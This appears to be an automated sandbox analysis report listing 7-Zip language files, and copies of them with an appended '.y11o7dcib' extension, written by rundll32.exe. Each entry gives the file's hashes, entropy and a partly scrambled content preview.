Preview:	C...IA.}\|.g.C.Q.5..&.78.%l..9^._]r.N.WJ.5..o....XQ .v.........C...;..;..;..0..7-Zip..Frisian..Frysk..401..Okee..Ofbrekke........&Jawis..&Nee..&Slute..Help....&Ferfetsje..440..Jawis foar &Alles.....!-ss.u.D%i.k!.xqchWtO..i..w.b.G..}.#.cD.Y..;X.....\|.i..;.n..&Skoftsje..Skoft..Binne jo wis dat jo .fbrekke wolle?..500..&Triem..&Bewurkje..&Byld..B&l.dwizers..&Ark..&Help..540..&Iepe...bH.lw.?.Bo\|..&.NuivWtb.<.B.xV.......K.O .H..6O.q.....e.C.Kopiearje nei.....&Ferpleats nei.....&Wiskje..Triemmen &spjalte.....Triemmen Kom&binearje.....E&igenskippen..Komme&ntaar..Kontr......lk~w.0..'o..&.!Hmh.\|'.j...2T.I..3.#....Z..6z^........8..oqlles selektearje..Alles net selektearje..&Seleksje omdraaien..Selektearje.....Net selektearje.....Selektearje neffens type..Net .....u.}`.0..,c.}B..quhX.H..)i.ZJu.T..3.-....Q../zS.....U.f..D:&List..&Details..730..Net Sortearre..Platte werjefte..&2 Panielen..&Arkbalke..Haadmap iepenje..Ien nivo omheech..Maphistoarje........s-}`.>..D..-..!D~.Dwb.r..qSe.*..r.

C:\Program Files\7-Zip\Lang\fy.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6747
Entropy (8bit):	6.573325490689703
Encrypted:	false
SSDEEP:	192:ZtIjFFa++irN/+VFX5NBYJKygiVoQQjrTW/7iLER1S:ZCNmVFXmAygWje6/P6
MD5:	03A1F1A382A06EF29041178ED1002A1F
SHA1:	E8D00FCC2BCDABE1BC4A9E2B7D0C8672D3AAA2CC
SHA-256:	F8C1CAA9641E5EBC0C77C70B9D0809E4A989A1170FE2D9433CB72DA0CBDD84A4
SHA-512:	98C1324C090E4FE26AAF88F6A9D47C6DCA8FCF96DDE67E45ED279BCA3C87B16769EA31B647C954870947DB52718A78C9B75145BF9AE8DBA572CF62F6B01EE978
Malicious:	false
Preview:	C...IA.}\|.g.C.Q.5..&.78.%l..9^._]r.N.WJ.5..o....XQ .v.........C...;..;..;..0..7-Zip..Frisian..Frysk..401..Okee..Ofbrekke........&Jawis..&Nee..&Slute..Help....&Ferfetsje..440..Jawis foar &Alles.....!-ss.u.D%i.k!.xqchWtO..i..w.b.G..}.#.cD.Y..;X.....\|.i..;.n..&Skoftsje..Skoft..Binne jo wis dat jo .fbrekke wolle?..500..&Triem..&Bewurkje..&Byld..B&l.dwizers..&Ark..&Help..540..&Iepe...bH.lw.?.Bo\|..&.NuivWtb.<.B.xV.......K.O .H..6O.q.....e.C.Kopiearje nei.....&Ferpleats nei.....&Wiskje..Triemmen &spjalte.....Triemmen Kom&binearje.....E&igenskippen..Komme&ntaar..Kontr......lk~w.0..'o..&.!Hmh.\|'.j...2T.I..3.#....Z..6z^........8..oqlles selektearje..Alles net selektearje..&Seleksje omdraaien..Selektearje.....Net selektearje.....Selektearje neffens type..Net .....u.}`.0..,c.}B..quhX.H..)i.ZJu.T..3.-....Q../zS.....U.f..D:&List..&Details..730..Net Sortearre..Platte werjefte..&2 Panielen..&Arkbalke..Haadmap iepenje..Ien nivo omheech..Maphistoarje........s-}`.>..D..-..!D~.Dwb.r..qSe.*..r.

C:\Program Files\7-Zip\Lang\ga.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	6.591450263614901
Encrypted:	false
SSDEEP:	192:9BOkdrdZmtkXKYFESruPP4VVf+OhVB70Y7oWte4VYuVWqcP+IaS:Kkkt4BxVCW2PNP+IN
MD5:	AB88D84E14C414C1278ECB9E75F08E75
SHA1:	F09565E46B014A86B6DA13AAA948A73AB06180E3
SHA-256:	266A960C3A08A203A55DE9EEF288D7ABAC9FC2A2E5ED003242661752073D8A3B
SHA-512:	103E1C8A7CDF0AEA3F71DEB792703EEDACE43617198E127D5639E51E8E62CA18486FF4275412ABD876047E37401F4B00190686D587C5F9B81A5ACE915120EC1E
Malicious:	false
Preview:	..?-MF.A..........aj....=..h_r.H.x..W...g....i.2g.g........;..;..;..;..;..;..0..7-Zip..Irish..Gaeilge..401..T. go maith..Cealaigh........&T...&N.l..&D.n..Cabhair....&Lean ar aghaidh...b..fR............?..zy...5...E...M.B.......~~......t!....&lra..&Tulra..&Cuir ar sos..Ar sos..An bhfuil t. cinnte gur mian leat . a cheal.?..500..&Comhad..&Leagan..Am&harc..Cean.in..&.?.z.u..........^e..>.B.S3.M..i...A....{3....~p......:@r...igh..&Amharc..&Eagar..Athainmnigh..&Macasamhlaigh go.....&Bog go.....S&crios..Scar an comhad.....Cumascaigh na comhaid.....Air..8.wa........[k....f[....`..3....S...[.I..m.....~{......nYg...h fillte.n..Cruthaigh comhad..&Scoir..600..Roghnaigh &uile..D.roghnaigh uile..&Aisiompaigh an roghn.ch.n..Roghnaigh.....D.r.1.x.o&H...........9.Q..x.;...H..&D.&.O.5.....V..J...n....ine.l..700..&Deilbh.n. m.ra..&Deilbh.n. beaga..&Liosta..&Sonra...730..Neamhaicmithe..Gach rud in aon chiseal..&2 fhuinneo.[.0.g3R..........8......C1.H..G...ZW

C:\Program Files\7-Zip\Lang\ga.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8624
Entropy (8bit):	6.591450263614901
Encrypted:	false
SSDEEP:	192:9BOkdrdZmtkXKYFESruPP4VVf+OhVB70Y7oWte4VYuVWqcP+IaS:Kkkt4BxVCW2PNP+IN
MD5:	AB88D84E14C414C1278ECB9E75F08E75
SHA1:	F09565E46B014A86B6DA13AAA948A73AB06180E3
SHA-256:	266A960C3A08A203A55DE9EEF288D7ABAC9FC2A2E5ED003242661752073D8A3B
SHA-512:	103E1C8A7CDF0AEA3F71DEB792703EEDACE43617198E127D5639E51E8E62CA18486FF4275412ABD876047E37401F4B00190686D587C5F9B81A5ACE915120EC1E
Malicious:	false
Preview:	..?-MF.A..........aj....=..h_r.H.x..W...g....i.2g.g........;..;..;..;..;..;..0..7-Zip..Irish..Gaeilge..401..T. go maith..Cealaigh........&T...&N.l..&D.n..Cabhair....&Lean ar aghaidh...b..fR............?..zy...5...E...M.B.......~~......t!....&lra..&Tulra..&Cuir ar sos..Ar sos..An bhfuil t. cinnte gur mian leat . a cheal.?..500..&Comhad..&Leagan..Am&harc..Cean.in..&.?.z.u..........^e..>.B.S3.M..i...A....{3....~p......:@r...igh..&Amharc..&Eagar..Athainmnigh..&Macasamhlaigh go.....&Bog go.....S&crios..Scar an comhad.....Cumascaigh na comhaid.....Air..8.wa........[k....f[....`..3....S...[.I..m.....~{......nYg...h fillte.n..Cruthaigh comhad..&Scoir..600..Roghnaigh &uile..D.roghnaigh uile..&Aisiompaigh an roghn.ch.n..Roghnaigh.....D.r.1.x.o&H...........9.Q..x.;...H..&D.&.O.5.....V..J...n....ine.l..700..&Deilbh.n. m.ra..&Deilbh.n. beaga..&Liosta..&Sonra...730..Neamhaicmithe..Gach rud in aon chiseal..&2 fhuinneo.[.0.g3R..........8......C1.H..G...ZW

C:\Program Files\7-Zip\Lang\gl.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9927
Entropy (8bit):	6.5773681430366535
Encrypted:	false
SSDEEP:	192:dQ5xXuosUaZIKnpz/+7jmJTA9YQK9QUePUI2tWBzxkBF6dFc2Jj44SYU+behcS:2Xu3U/Knp/+7IaYt9QFiBv2iN8Ch3
MD5:	4FF19402105A6EDFBF52FF742669CE25
SHA1:	4CE838BFF779C961569AE7C6BAA4818B1884CDCA
SHA-256:	4EE5E11F4D148B26BE9BA00D3BF0B5FB3A3ADE709C3ADC1637F0A7BC1DEDCD97
SHA-512:	372770911117876AD915CAFCB8BE7D8E3C4F1A088AF440E57BD85AF23B29BB6A0D3244CBBBDE08E53E4F7B8D14785B4F4BCCEE06DB86D65B8CA1CCE4254343DD
Malicious:	false
Preview:	...x....=..5...(.R....4s,."R.+.........L9.z...L....^.e..... : 2014-11-26 : enfeitizador..; 15.00 : 2016-02-01 : enfeitizador..; 22.00 : 2023-05-13 : enfeitizador..;..;..;..;..;..;..;..0....!......"u.......G...;..7^..uBG..T.].=...w3..)7. ...^......on..Pe&char..Axuda....&Continuar..440..Si &a todo..Non a &todo..Parar..Reiniciar..Po.er por de&baixo..Traer ao &fronte..&Pausa..v.6......4y..8...A...C.(.f&..h.Z.E.W.E...2.../[. ...h&.O....ritos..Ferramen&tas..A&xuda..540..&Abrir..Abr&ir dentro..Abrir &f.ra..&Ver..&Editar..Cambiar no&me..&Copiar a.....&Mover a......c.......gX..\|..D...T.Wi}8..hes...[.V..}5..2H.^....^.c...dades..Come&ntario.....Calcular suma de verificaci.n..Diferenzas..Crear cartafol..Crear ficheiro..Sa&.r..Ligaz.n..&Alternar f.S.,.....KO..{...L.....Jb<..T.Uq.T.S....{[...T.H....t. ......n..Seleccionar.....Desmarcar.....Seleccionar por tipo..Desmarcar por tipo..700..Iconas lon&gas..Iconas &mi.das..&Lista..&Deta.J.0......y...j...(...E..v?w.qo,:...S.

C:\Program Files\7-Zip\Lang\gl.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9927
Entropy (8bit):	6.5773681430366535
Encrypted:	false
SSDEEP:	192:dQ5xXuosUaZIKnpz/+7jmJTA9YQK9QUePUI2tWBzxkBF6dFc2Jj44SYU+behcS:2Xu3U/Knp/+7IaYt9QFiBv2iN8Ch3
MD5:	4FF19402105A6EDFBF52FF742669CE25
SHA1:	4CE838BFF779C961569AE7C6BAA4818B1884CDCA
SHA-256:	4EE5E11F4D148B26BE9BA00D3BF0B5FB3A3ADE709C3ADC1637F0A7BC1DEDCD97
SHA-512:	372770911117876AD915CAFCB8BE7D8E3C4F1A088AF440E57BD85AF23B29BB6A0D3244CBBBDE08E53E4F7B8D14785B4F4BCCEE06DB86D65B8CA1CCE4254343DD
Malicious:	false
Preview:	...x....=..5...(.R....4s,."R.+.........L9.z...L....^.e..... : 2014-11-26 : enfeitizador..; 15.00 : 2016-02-01 : enfeitizador..; 22.00 : 2023-05-13 : enfeitizador..;..;..;..;..;..;..;..0....!......"u.......G...;..7^..uBG..T.].=...w3..)7. ...^......on..Pe&char..Axuda....&Continuar..440..Si &a todo..Non a &todo..Parar..Reiniciar..Po.er por de&baixo..Traer ao &fronte..&Pausa..v.6......4y..8...A...C.(.f&..h.Z.E.W.E...2.../[. ...h&.O....ritos..Ferramen&tas..A&xuda..540..&Abrir..Abr&ir dentro..Abrir &f.ra..&Ver..&Editar..Cambiar no&me..&Copiar a.....&Mover a......c.......gX..\|..D...T.Wi}8..hes...[.V..}5..2H.^....^.c...dades..Come&ntario.....Calcular suma de verificaci.n..Diferenzas..Crear cartafol..Crear ficheiro..Sa&.r..Ligaz.n..&Alternar f.S.,.....KO..{...L.....Jb<..T.Uq.T.S....{[...T.H....t. ......n..Seleccionar.....Desmarcar.....Seleccionar por tipo..Desmarcar por tipo..700..Iconas lon&gas..Iconas &mi.das..&Lista..&Deta.J.0......y...j...(...E..v?w.qo,:...S.

C:\Program Files\7-Zip\Lang\gu.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18083
Entropy (8bit):	5.897911061815086
Encrypted:	false
SSDEEP:	384:RiAJ4kNXxkE7cbQe7zW25ucXl2I2GA2/qXWa2+f/Az2WknQqjQztI:R/xIbQ+T5topB/A3vnxI
MD5:	2C0D804EC99B9B757D61A3C21E2A203E
SHA1:	0DA650840A54F3888A1908E3B15059A75F7041DC
SHA-256:	CC1A8B199431E1B4A9EA8DD63F086ECFE0014114AEF0C5363292A51B69C21525
SHA-512:	94BE910E9D73BB893644D1BEBE0D4205B7DF7B52DB7240D34633EA829B2E9769F9B2B922EBC8DF35BCAA941C21534D7B34999C8D8FC1F7E9DCA8923F4919BA2F
Malicious:	false
Preview:	>.S..=&..MC.JgPy.....&.5...<...@..'M7a...{....i.s..m:.....K+.... ...... ..........;..;..;..;..;..;..;..;..;..;..0..7-Zip..Gujarati, Indian, ....1.J.T......o....n.e4.;>.R...4.!R..+.....B..#..b...j:.<...r.`}................&.....&....&... ............&.... ......440..&... ..{..E`..D..[....n...7....Z.....J.{[......68.n0#..&.xj[).L...J....... .... .....&............&........(.........)....FZ...M..I...$.;~..9...X...kdM.0v.....#..Z$.0#.&..2p.b.+Zr.Q}.... .... .... ... ... .... .... ..?..500..&.......&......{.............rO/6.<..R.....!d..#....b08.R0#.&..2p..b..8..7....540..&......&.... ......&.... ......&.......&........&..1.D...........QO/....=....!p.......

C:\Program Files\7-Zip\Lang\gu.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18083
Entropy (8bit):	5.897911061815086
Encrypted:	false
SSDEEP:	384:RiAJ4kNXxkE7cbQe7zW25ucXl2I2GA2/qXWa2+f/Az2WknQqjQztI:R/xIbQ+T5topB/A3vnxI
MD5:	2C0D804EC99B9B757D61A3C21E2A203E
SHA1:	0DA650840A54F3888A1908E3B15059A75F7041DC
SHA-256:	CC1A8B199431E1B4A9EA8DD63F086ECFE0014114AEF0C5363292A51B69C21525
SHA-512:	94BE910E9D73BB893644D1BEBE0D4205B7DF7B52DB7240D34633EA829B2E9769F9B2B922EBC8DF35BCAA941C21534D7B34999C8D8FC1F7E9DCA8923F4919BA2F
Malicious:	false
Preview:	>.S..=&..MC.JgPy.....&.5...<...@..'M7a...{....i.s..m:.....K+.... ...... ..........;..;..;..;..;..;..;..;..;..;..0..7-Zip..Gujarati, Indian, ....1.J.T......o....n.e4.;>.R...4.!R..+.....B..#..b...j:.<...r.`}................&.....&....&... ............&.... ......440..&... ..{..E`..D..[....n...7....Z.....J.{[......68.n0#..&.xj[).L...J....... .... .....&............&........(.........)....FZ...M..I...$.;~..9...X...kdM.0v.....#..Z$.0#.&..2p.b.+Zr.Q}.... .... .... ... ... .... .... ..?..500..&.......&......{.............rO/6.<..R.....!d..#....b08.R0#.&..2p..b..8..7....540..&......&.... ......&.... ......&.......&........&..1.D...........QO/....=....!p.......

C:\Program Files\7-Zip\Lang\he.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11718
Entropy (8bit):	5.968285136960119
Encrypted:	false
SSDEEP:	192:gDDIoqI4zxiLVOdTaoKb+7xZuSQPION7b+MvFVYWrWrkV7FwDqoH0MeKNBhNXfwn:gO28OhbsZ1QPION76+YGokV78PUMHRN+
MD5:	B0749AD37D9E5FC0C0ACA7DCF1753AE7
SHA1:	939E426515F789C9479471A5E765EC20B70C5248
SHA-256:	2FA6C81F6A1128DEC6705AB4EDBF457D315CC92607893EB784D3B7D5FFDA8A4E
SHA-512:	1587920CD6AAD7E56C538DEF838E3D02D682E1E0088B194726D3360E9583899391FE7F028F76D4A84B7D3FB6099C24A938D0F81CB20F57880E2517E862BEB9E8
Malicious:	false
Preview:	.p../.Y.....T.+...~..X.....Q.46w.z.A..u.Ol..},...t.Z.6..7.p... : Gal Brill..; 9.13 : 2010-04-30 : Jonathan Lahav..; 19.00 : 2020-05-01 : ION..;..;..;..;..;..;..;..0..7-Zip..Hebrew..'i..!.[.N9...1a`...B..%...."..]+P.k..s..'z.~@.+..k..}.P.&;..........&......440.... .&...... &............... ......&.....&.......&.............eYf...N.s[ .p.s./B...vE.._.w..i.pJ.NO.$.....`t.T.&.<1P.&.J$...&.......&.......&.........&.......&.....540...&....... .&......... .&.....&.....\|YT.$..D>..'..5...B.$....S.....GpKu...$z....+.'...M..aD...&........&. .......&... .......&.............&....... ..... .............l....*..D.. ...5...m..g".E..`.w..i.p}..b\.....x..W.{.u.Q.&;..&..... .........600..... &........ ..... .....&.... ................. .........!.[..D8&S..M5...m.u..NE..i4....i.pD.

C:\Program Files\7-Zip\Lang\he.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11718
Entropy (8bit):	5.968285136960119
Encrypted:	false
SSDEEP:	192:gDDIoqI4zxiLVOdTaoKb+7xZuSQPION7b+MvFVYWrWrkV7FwDqoH0MeKNBhNXfwn:gO28OhbsZ1QPION76+YGokV78PUMHRN+
MD5:	B0749AD37D9E5FC0C0ACA7DCF1753AE7
SHA1:	939E426515F789C9479471A5E765EC20B70C5248
SHA-256:	2FA6C81F6A1128DEC6705AB4EDBF457D315CC92607893EB784D3B7D5FFDA8A4E
SHA-512:	1587920CD6AAD7E56C538DEF838E3D02D682E1E0088B194726D3360E9583899391FE7F028F76D4A84B7D3FB6099C24A938D0F81CB20F57880E2517E862BEB9E8
Malicious:	false
Preview:	.p../.Y.....T.+...~..X.....Q.46w.z.A..u.Ol..},...t.Z.6..7.p... : Gal Brill..; 9.13 : 2010-04-30 : Jonathan Lahav..; 19.00 : 2020-05-01 : ION..;..;..;..;..;..;..;..0..7-Zip..Hebrew..'i..!.[.N9...1a`...B..%...."..]+P.k..s..'z.~@.+..k..}.P.&;..........&......440.... .&...... &............... ......&.....&.......&.............eYf...N.s[ .p.s./B...vE.._.w..i.pJ.NO.$.....`t.T.&.<1P.&.J$...&.......&.......&.........&.......&.....540...&....... .&......... .&.....&.....\|YT.$..D>..'..5...B.$....S.....GpKu...$z....+.'...M..aD...&........&. .......&... .......&.............&....... ..... .............l....*..D.. ...5...m..g".E..`.w..i.p}..b\.....x..W.{.u.Q.&;..&..... .........600..... &........ ..... .....&.... ................. .........!.[..D8&S..M5...m.u..NE..i4....i.pD.

C:\Program Files\7-Zip\Lang\hi.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18185
Entropy (8bit):	5.834407794287338
Encrypted:	false
SSDEEP:	384:YErR0fYyyqc0y6F/Rb3k0/kO1aQ/wD0efg3OSGZIBlV28b:NVAYyPc+i0eAXrzb
MD5:	EC3178FEE9020B9DC259BD939924E8AB
SHA1:	B2A46D540D87298779BC332BED6A574C687DD3EB
SHA-256:	BF02271F75CFAFF0720831EA401240E0D5B58B1AB49DDFF90B40DF2B74F7A15D
SHA-512:	53868AD0380D72DFC14DB5D92B1CD1921D3FBCC5311B63444B43F6584E7F774C0035C642EE976A47366E384C145677000F4A9ECF052D07932E4EF0ED466BBA92
Malicious:	false
Preview:	.J.MM..Q.[.}..A...!.r....... Y[..Yb.......,....M\|.+..F....x.. .... .......;..;..;..;..;..;..;..;..;..;..0..7-Zip..Hindi, Indian, ................Qz..4R.)u..%...H+..L..F.z{. ....-H2..k.@.....D:.W.....&.....&......&... ............&.... .....440..&... .. .... .....$.Qj...R......E-6Y...H.Xb.>K@.......w..nM.....J\|.+... ..&.... .... ......&............&........(.........)..&..J2.Y..o1...h..+..Y..y.zX'e.....2..k.@..4m.l8..J......&.... .... ..... ... ....... .... .. ....?..500..&......&...Qx...R.)u..%..Q....5&.h.ch{:....v.neV.....l:D:.2...b....&.....540..&......&.... ......&.... ......&.......&........J....*......Q.....&.K.cp...`s..v.

C:\Program Files\7-Zip\Lang\hi.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18185
Entropy (8bit):	5.834407794287338
Encrypted:	false
SSDEEP:	384:YErR0fYyyqc0y6F/Rb3k0/kO1aQ/wD0efg3OSGZIBlV28b:NVAYyPc+i0eAXrzb
MD5:	EC3178FEE9020B9DC259BD939924E8AB
SHA1:	B2A46D540D87298779BC332BED6A574C687DD3EB
SHA-256:	BF02271F75CFAFF0720831EA401240E0D5B58B1AB49DDFF90B40DF2B74F7A15D
SHA-512:	53868AD0380D72DFC14DB5D92B1CD1921D3FBCC5311B63444B43F6584E7F774C0035C642EE976A47366E384C145677000F4A9ECF052D07932E4EF0ED466BBA92
Malicious:	false
Preview:	.J.MM..Q.[.}..A...!.r....... Y[..Yb.......,....M\|.+..F....x.. .... .......;..;..;..;..;..;..;..;..;..;..0..7-Zip..Hindi, Indian, ................Qz..4R.)u..%...H+..L..F.z{. ....-H2..k.@.....D:.W.....&.....&......&... ............&.... .....440..&... .. .... .....$.Qj...R......E-6Y...H.Xb.>K@.......w..nM.....J\|.+... ..&.... .... ......&............&........(.........)..&..J2.Y..o1...h..+..Y..y.zX'e.....2..k.@..4m.l8..J......&.... .... ..... ... ....... .... .. ....?..500..&......&...Qx...R.)u..%..Q....5&.h.ch{:....v.neV.....l:D:.2...b....&.....540..&......&.... ......&.... ......&.......&........J....*......Q.....&.K.cp...`s..v.

C:\Program Files\7-Zip\Lang\hr.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8931
Entropy (8bit):	6.661016174267588
Encrypted:	false
SSDEEP:	192:CfewuVYnxXZ9b58MCmZorhNODd0nSoKUI2dZyihuIS:CWwxXZf1a6Dd0/KUI2d4sq
MD5:	1F7AFFCA3034A4E8941B10B0FEA55FFD
SHA1:	38525929DDFAA618A6366BE7650B63FE8CBC9C03
SHA-256:	5F1722CCAED0BB9CA422AA2B2E002206EAF27039AF138DE13DD541B27A5A00F3
SHA-512:	05145DD89AD6DD55D7576AEA32B16CE4231D4E8C81AA7AC7900DF526FC753B7CE8C194532EF141DFE8033C40A1206D83FC24E3824F909AE94BF7127037D81AB9
Malicious:	false
Preview:	.(8.LPf....A{..~.9gU{%.R....Y].HW.7{%..k.Ci.....m..~..zS.....nagi...; 9.07 :..; 15.05 : 2015-06-15 : Stjepan Treger..;..;..;..;..;..;..;..0..7-Zip..Croatian..Hrvatski..401..U redu..Odusta....`.'..y.E;....dKRWD........)s.F....Ak.a.=3U..$.j..T..)H.....Ne za Sv&e..&Stani..Ponovi..U pozadini..U prvom planu..&Pauza..Pauzirano..Poni.titi?..500..&Datoteke..&Ure.ivanje..&Izgled.......uD....q?....m',...T....V[t..........o. _)...V1..~..yG......ri u &sustavu..Iz&gled..&Ure.ivanje..Prei&menuj..&Kopiraj u.....Premje&sti u.....O&bri.i..Podije&li datoteku.....Spo&ji datote....C. ....r\|..Y...7.{.......}..L..#..r.%<L..TB,..?..\A....nivanje..Stvo&ri mapu..Stvori &datoteku..&Izlaz..Poveznica..&Alternativni tokovi..600..Odaberi &sve..Poni.ti odabir..&Obrni odab.."tK..../t..2.n(1..........2..4...-..r.9=...^US..1.......bir tipa..700..&Velike ikone..&Male ikone..&Popis..&Detalji..730..Neso&rtirano..Sadr.aj mapa..&2 okna..Alatne &trake..&Korijen.....}K..~.Q(.,..m#x.........._o.C\OL.Ak

C:\Program Files\7-Zip\Lang\hr.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8931
Entropy (8bit):	6.661016174267588
Encrypted:	false
SSDEEP:	192:CfewuVYnxXZ9b58MCmZorhNODd0nSoKUI2dZyihuIS:CWwxXZf1a6Dd0/KUI2d4sq
MD5:	1F7AFFCA3034A4E8941B10B0FEA55FFD
SHA1:	38525929DDFAA618A6366BE7650B63FE8CBC9C03
SHA-256:	5F1722CCAED0BB9CA422AA2B2E002206EAF27039AF138DE13DD541B27A5A00F3
SHA-512:	05145DD89AD6DD55D7576AEA32B16CE4231D4E8C81AA7AC7900DF526FC753B7CE8C194532EF141DFE8033C40A1206D83FC24E3824F909AE94BF7127037D81AB9
Malicious:	false
Preview:	.(8.LPf....A{..~.9gU{%.R....Y].HW.7{%..k.Ci.....m..~..zS.....nagi...; 9.07 :..; 15.05 : 2015-06-15 : Stjepan Treger..;..;..;..;..;..;..;..0..7-Zip..Croatian..Hrvatski..401..U redu..Odusta....`.'..y.E;....dKRWD........)s.F....Ak.a.=3U..$.j..T..)H.....Ne za Sv&e..&Stani..Ponovi..U pozadini..U prvom planu..&Pauza..Pauzirano..Poni.titi?..500..&Datoteke..&Ure.ivanje..&Izgled.......uD....q?....m',...T....V[t..........o. _)...V1..~..yG......ri u &sustavu..Iz&gled..&Ure.ivanje..Prei&menuj..&Kopiraj u.....Premje&sti u.....O&bri.i..Podije&li datoteku.....Spo&ji datote....C. ....r\|..Y...7.{.......}..L..#..r.%<L..TB,..?..\A....nivanje..Stvo&ri mapu..Stvori &datoteku..&Izlaz..Poveznica..&Alternativni tokovi..600..Odaberi &sve..Poni.ti odabir..&Obrni odab.."tK..../t..2.n(1..........2..4...-..r.9=...^US..1.......bir tipa..700..&Velike ikone..&Male ikone..&Popis..&Detalji..730..Neso&rtirano..Sadr.aj mapa..&2 okna..Alatne &trake..&Korijen.....}K..~.Q(.,..m#x.........._o.C\OL.Ak

C:\Program Files\7-Zip\Lang\hu.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10491
Entropy (8bit):	6.724710000167897
Encrypted:	false
SSDEEP:	192:aEFYgkT5TMd/WElZa9UNGoJs8n5QLvgHfXRHQZnEgj6ks9ruF2V6W6sGrVMQesJJ:L2O+CgUNGoJss5+YHf94EG6ks9ruF2VS
MD5:	6F068E7714BB37711C81D3DB93ACD763
SHA1:	50828F67560BFB6D7547E1B74D91D806B232C150
SHA-256:	74C7649EE2C9996A40D331C925473EFEABDE821D2F7B0EEF216F74B3D31ADA54
SHA-512:	9C918EA523E75A5B26DCC29316EFFA3B00DBC7C72447F1326F8244F39DA09DFC9B6975D1FDFA9FE7B71FBC1F51429BFE82E8B916A28BF1488721FE24CFFE87DE
Malicious:	false
Preview:	ro...^$.....C4......,0v...a..J...>..VO.+.K.lT..~...."((.YHyilas MISY..; 15.00 : 2021-11-09 : Barnabas Kovacs..; 22.01 : 2022-07-15 : John Fowler..;..;..;..;..;..;..;..0..7-Zip..Hungarian..@...s7u.l..j.\|...1kc3N..L.....W..:(...n...#.cHE.P....M0.......&Folytat.s..440..I&gen, mindre..N&em, mindre..Le.ll.t.s...jraind.t.s..&H.tt.rben..&El.t.rben..&Sz.net..Sz.nete.h....O:..(.eLi_.G...iw%Y.&.j.%.{.NC.9.l.!:k.)..j..sr.. zerkeszt.s..&N.zet..Ked&vencek..&Eszk.z.k..&S.g...540..M&egnyit.s..Megnyit.s &bel.l..Megnyit.s k.&v.l..&F.jl megtek..y.1.wHr..&.d.,D.TJv......g.e...(....~.o8.DA.x..N2N."70....t&helyez.s mapp.ba.....&T.rl.s..F.jl&darabol.s.....F.jl&egyes.t.s.....T&ulajdons.gok..&Megjegyz.s..Checksum sz.mol.....L.).Y.>....:.m..m0:...3.o...(...q.$2.#....\|..P..m.....j.p.s..Link..Alternat.v adatfolyam..600..Min&d kijel.l.se..Kijel.l.s megsz.ntet.se..Kijel.l.s &megford.t.sa..Kijel.......<Hr..;.l..Y.E..1.>x.....e...7GF..

C:\Program Files\7-Zip\Lang\hu.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10491
Entropy (8bit):	6.724710000167897
Encrypted:	false
SSDEEP:	192:aEFYgkT5TMd/WElZa9UNGoJs8n5QLvgHfXRHQZnEgj6ks9ruF2V6W6sGrVMQesJJ:L2O+CgUNGoJss5+YHf94EG6ks9ruF2VS
MD5:	6F068E7714BB37711C81D3DB93ACD763
SHA1:	50828F67560BFB6D7547E1B74D91D806B232C150
SHA-256:	74C7649EE2C9996A40D331C925473EFEABDE821D2F7B0EEF216F74B3D31ADA54
SHA-512:	9C918EA523E75A5B26DCC29316EFFA3B00DBC7C72447F1326F8244F39DA09DFC9B6975D1FDFA9FE7B71FBC1F51429BFE82E8B916A28BF1488721FE24CFFE87DE
Malicious:	false
Preview:	ro...^$.....C4......,0v...a..J...>..VO.+.K.lT..~...."((.YHyilas MISY..; 15.00 : 2021-11-09 : Barnabas Kovacs..; 22.01 : 2022-07-15 : John Fowler..;..;..;..;..;..;..;..0..7-Zip..Hungarian..@...s7u.l..j.\|...1kc3N..L.....W..:(...n...#.cHE.P....M0.......&Folytat.s..440..I&gen, mindre..N&em, mindre..Le.ll.t.s...jraind.t.s..&H.tt.rben..&El.t.rben..&Sz.net..Sz.nete.h....O:..(.eLi_.G...iw%Y.&.j.%.{.NC.9.l.!:k.)..j..sr.. zerkeszt.s..&N.zet..Ked&vencek..&Eszk.z.k..&S.g...540..M&egnyit.s..Megnyit.s &bel.l..Megnyit.s k.&v.l..&F.jl megtek..y.1.wHr..&.d.,D.TJv......g.e...(....~.o8.DA.x..N2N."70....t&helyez.s mapp.ba.....&T.rl.s..F.jl&darabol.s.....F.jl&egyes.t.s.....T&ulajdons.gok..&Megjegyz.s..Checksum sz.mol.....L.).Y.>....:.m..m0:...3.o...(...q.$2.#....\|..P..m.....j.p.s..Link..Alternat.v adatfolyam..600..Min&d kijel.l.se..Kijel.l.s megsz.ntet.se..Kijel.l.s &megford.t.sa..Kijel.......<Hr..;.l..Y.E..1.>x.....e...7GF..

C:\Program Files\7-Zip\Lang\hy.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14451
Entropy (8bit):	6.123680690142858
Encrypted:	false
SSDEEP:	384:AK0cYRnA+SEIhPt8sIAJrYmzcIjGNLiPyuT4f4SO:tKn7sI6Ekj4LAyC4fi
MD5:	F8A44D463E056DBD5F1FB2C4862279DB
SHA1:	87C5D1E8B83B2D3D784F23068A47BDFF7E4C353C
SHA-256:	285A374C95CE031E15B4591D42D44D15B0EEA0F72094650E7FCEB73404D418FA
